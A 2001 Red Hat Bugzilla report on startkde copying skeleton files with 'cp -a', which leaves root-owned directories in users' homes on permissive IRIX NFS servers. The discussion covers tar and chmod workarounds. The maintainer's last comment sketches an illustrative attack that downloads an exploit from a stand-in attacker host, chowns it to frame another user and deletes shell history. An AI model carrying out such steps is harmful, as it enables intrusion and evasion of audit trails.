Bug 40711

Summary: /usr/bin/startkde creates files that belong to root
Product: [Retired] Red Hat Linux Reporter: Dimitri Papadopoulos <dimitri.papadopoulos>
Component: kdebaseAssignee: Bernhard Rosenkraenzer <bero>
Status: CLOSED RAWHIDE QA Contact: Aaron Brown <abrown>
Severity: low Docs Contact:
Priority: medium    
Version: 7.1   
Target Milestone: ---   
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2001-05-16 14:41:53 UTC Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:

Description Dimitri Papadopoulos 2001-05-15 14:44:41 UTC 
From Bugzilla Helper:
User-Agent: Mozilla/4.77 [en] (X11; U; SunOS 5.8 sun4u)

Description of problem:
Hi,

My account lives on a Silicon Graphics NFS server. Default kernel setup on
IRIX lets you change the owner of a file as long as you are the owner. It
really does :
	$ whoami
	papadopo
	$ touch /home/papadopo/foo
	$ ls -l  /home/papadopo/foo
	-rw-r--r--    1 papadopo tdi            0 May 15 16:29 /home/papadopo/foo
	$ chown root:root /home/papadopo/foo
	$ -rw-r--r--    1 root     sys            0 May 15 16:29
/home/papadopo/foo
	$ chown papadopo /home/papadopo/foo
	/home/papadopo/foo - Operation not permitted
	$ 

Yes, I know, this is insane. But it's out there and it's a Solaris option
as well (but not the default one). It's probably an option for other NFS
sevrers as well.

Now /usr/bin/startkde contains these lines:
	# create necessary directories/files
	if [ ! -d $HOME/Desktop -a -d /etc/skel/Desktop ]; then
	  cp -aR /etc/skel/Desktop $HOME
	fi
	
	if [ ! -d $HOME/.kde -a -d /etc/skel/.kde ]; then
	  cp -aR /etc/skel/.kde $HOME
	fi

The effect of -a is that file owners are preserved when possible. It would
be nice to use another option than -a so that the owner of the copied files
is the owner of the account. Maybe just `cp -pR' followed by 'chmod' or
something like that.


How reproducible:
Always

Steps to Reproduce:
1. Create an account on an IRIX NFS server
2. Use this account to run KDE from Red Hat Linux 7.1 (using script
/usr/bin/startkde)
3. Have a look at the permissions of $HOME/Desktop


Actual Results:  $HOME/Desktop and the files in it belong to root:sys


Expected Results:  $HOME/Desktop and the files in it should belong to the
owner of the account


Additional info:

Of course we'll modify the default kernel option of our IRIX NFS servers.
But I thought I'd let you know about this issue nevertheless.
Comment 1 Steve Coile 2001-05-16 13:29:43 UTC 
I also have seen this behavior.  This is a considerable problem if one does not
have root access (to the NFS server) to change the ownerships.

Note also that KDE *WILL NOT START* if $HOME/.kde and its contents are owned by
root because dcopserver cannot create files in the directory.
Comment 2 Steve Coile 2001-05-16 13:34:22 UTC 
Oh, forgot to mention that once the root-owned files are created, users cannot
alter or remove them because the permissions do not allow modification and the
directories in which they exist ($HOME/.kde and $HOME/Desktop) are owned by
root.  And, of course, the users cannot remove the directories because they
aren't empty.  So once the directories and files are put there, users *MUST*
seek the assistance of systems administration to resolve the problem.

Bad.  Very bad.  =(
Comment 3 Steve Coile 2001-05-16 14:01:55 UTC 
Removing the "-a" flag from the "cp" commands in /usr/bin/startkde appears to
work fine.  IMHO, this is also preferable, since "-a" forces "cp" to ignore the
user's umask.  I really don't see a good reason for "-a".  If there *IS* a good
reason, perhaps "tar" should be used instead of "cp":

	tar cfp -C /etc/skel - Desktop | tar xfp -C $HOME -
	tar cfp -C /etc/skel - .kde | tar xfp -C $HOME -

"tar" does not appear to exhibit the same ownership problem.

Note that "cp -a" is used to copy ".kderc", and should be addressed, also.
Comment 4 Dimitri Papadopoulos 2001-05-16 14:41:48 UTC 
Removing the "-a" flag is a good idea but relying on the user's default umask is
probably not a good idea because the KDE files should be private event though
umask does not enforce that. I'd say copy the files without "-a" but then use
chmod after copying the files. The tar solution sounds good too.
Comment 5 Bernhard Rosenkraenzer 2001-05-22 17:54:41 UTC 
The correct fix is to fix up the NFS server - allowing users to create files 
as root is ultimately broken.
tar workaround added in 2.2-0.alpha2.2
Comment 6 Dimitri Papadopoulos 2001-05-23 06:51:39 UTC 
Allowing users to create root files is not that broken because it is not a
security
issue (except that users may be tempted to run a program they know nothing
about on the basis that it belongs to root) and it is the default behaviour on
some
Unix systems. Anyway the fact is that this behaviour does exist out there and I
appreciate your working around it.
That said, our sysadmin did change our NFS servers so that users cannot chown
to accounts and groups they don't belong to.
Comment 7 Bernhard Rosenkraenzer 2001-05-23 06:59:49 UTC 
It is quite broken.

wget http://evil.crackers.com/exploits/l33t-hax0r-script /tmp/exploit
chown someoneidontlike /tmp/exploit
rm ~/.bash_history
mail root <<EOF
Hi, looks like someone is trying to crack the system (/tmp/exploit)
EOF